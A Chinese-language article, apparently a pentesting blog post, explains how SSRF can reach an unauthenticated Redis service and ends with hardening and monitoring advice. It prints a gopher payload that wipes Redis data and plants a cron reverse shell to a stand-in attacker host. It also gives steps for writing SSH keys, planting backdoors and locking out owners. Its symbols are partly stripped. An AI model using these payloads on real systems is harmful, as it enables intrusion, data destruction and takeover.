SSRF与Redis未授权访问漏洞组合攻击解析

SSRF与Redis未授权访问漏洞组合攻击解析
1. SSRF与Redis未授权访问漏洞解析当SSRF服务器端请求伪造遇上Redis未授权访问漏洞这两个看似独立的安全问题会产生112的破坏效果。我在渗透测试工作中发现这种组合漏洞在互联网上广泛存在且利用门槛极低。Redis默认监听6379端口如果管理员未配置认证密码requirepass或未绑定安全组规则攻击者可以直接连接并执行命令。而SSRF漏洞则允许攻击者从服务器内部发起请求绕过常规网络隔离策略。两者结合后攻击者可以通过存在SSRF漏洞的Web应用直接访问内网的Redis服务。关键点Redis 3.2版本后默认绑定127.0.0.1但很多企业仍在使用旧版本或手动修改了绑定地址2. 漏洞利用场景与技术细节2.1 Redis协议与Gopher协议利用Redis的通信协议是文本格式这意味着我们可以通过构造特殊URL来注入命令。Gopher协议支持SSRF的服务器通常允许该协议可以直接发送原始TCP数据包是攻击Redis的理想载体。一个典型的攻击Payload如下gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$57%0d%0a%0a%0a*/1 * * * * bash -i /dev/tcp/attacker.com/4444 01%0a%0a%0a%0a*1%0d%0a$4%0d%0asave%0d%0a这个URL解码后会向Redis发送FLUSHALL清空所有数据SET 1 \n\n*/1 * * * * bash -i /dev/tcp/attacker.com/4444 01\n\n\n\n设置定时任务SAVE持久化到磁盘2.2 漏洞利用的四个关键阶段信息收集通过SSRF探测内网IP段的6379端口使用INFO命令确认Redis版本和配置检查config get dir确定持久化目录权限提升写入SSH公钥到/root/.ssh/authorized_keys通过crontab写入定时任务反弹shell修改Web目录文件植入后门数据操作导出所有键值对keys *get key清空或篡改业务数据FLUSHDB/FLUSHALL持久化访问修改Redis密码config set requirepass hacker123创建隐藏后门账户3. 防御方案与实战建议3.1 Redis安全加固措施网络层防护# 修改redis.conf bind 127.0.0.1 # 仅允许本地访问 protected-mode yes认证配置requirepass YourStrongPassword123! rename-command FLUSHALL rename-command CONFIG 权限控制chown redis:redis /var/lib/redis chmod 700 /var/lib/redis3.2 SSRF防护策略输入校验禁止非HTTP/HTTPS协议请求使用正则过滤内网IP段10.0.0.0/8, 172.16.0.0/12等网络隔离// Java示例 - 使用URLConnection时设置限制 URLConnection conn url.openConnection(); if(conn instanceof HttpURLConnection) { ((HttpURLConnection)conn).setRequestMethod(GET); conn.setConnectTimeout(3000); }沙箱环境# Python使用requests时限制重定向 session requests.Session() session.max_redirects 34. 渗透测试实战记录4.1 环境搭建与验证测试环境配置Ubuntu 18.04 Redis 5.0.7无密码存在SSRF漏洞的PHP应用验证步骤# 1. 确认Redis可访问 curl http://vuln-site.com/ssrf.php?urlhttp://127.0.0.1:6379/info # 2. 通过Gopher写入SSH密钥 cat payload.txt EOF *1\r $8\r flushall\r *3\r $3\r set\r $1\r 1\r $310\r \n\nssh-rsa AAAAB3NzaC1yc2E... hackerattacker\n\n\n\n *4\r $6\r config\r $3\r set\r $3\r dir\r $11\r /root/.ssh/\r *1\r $4\r save\r EOF # 3. URL编码并发送 python -c import urllib.parse; print(urllib.parse.quote(open(payload.txt).read()))4.2 常见问题排查写入失败检查Redis持久化目录权限确认config命令未被禁用尝试不同写入路径/tmp/.ssh/等定时任务不执行检查cron服务状态systemctl status cron查看日志grep CRON /var/log/syslog测试直接写入/etc/crontab网络连接问题使用nc监听确认端口可达性尝试不同协议HTTP/HTTPS/DNS等5. 企业级防护方案对于大型企业建议采用分层防御策略网络架构Redis部署在独立VPC使用跳板机进行管理访问配置安全组白名单监控体系# 监控Redis异常命令 audit-log-enabled yes audit-log-file /var/log/redis/audit.log应急响应建立Redis操作日志审计定期检查持久化文件哈希值部署HIDS监控关键文件变更我在某次红队行动中发现即使配置了密码认证攻击者仍可能通过CONFIG SET requirepass 清除密码。因此必须禁用危险命令rename-command CONFIG rename-command SAVE rename-command BGSAVE rename-command SHUTDOWN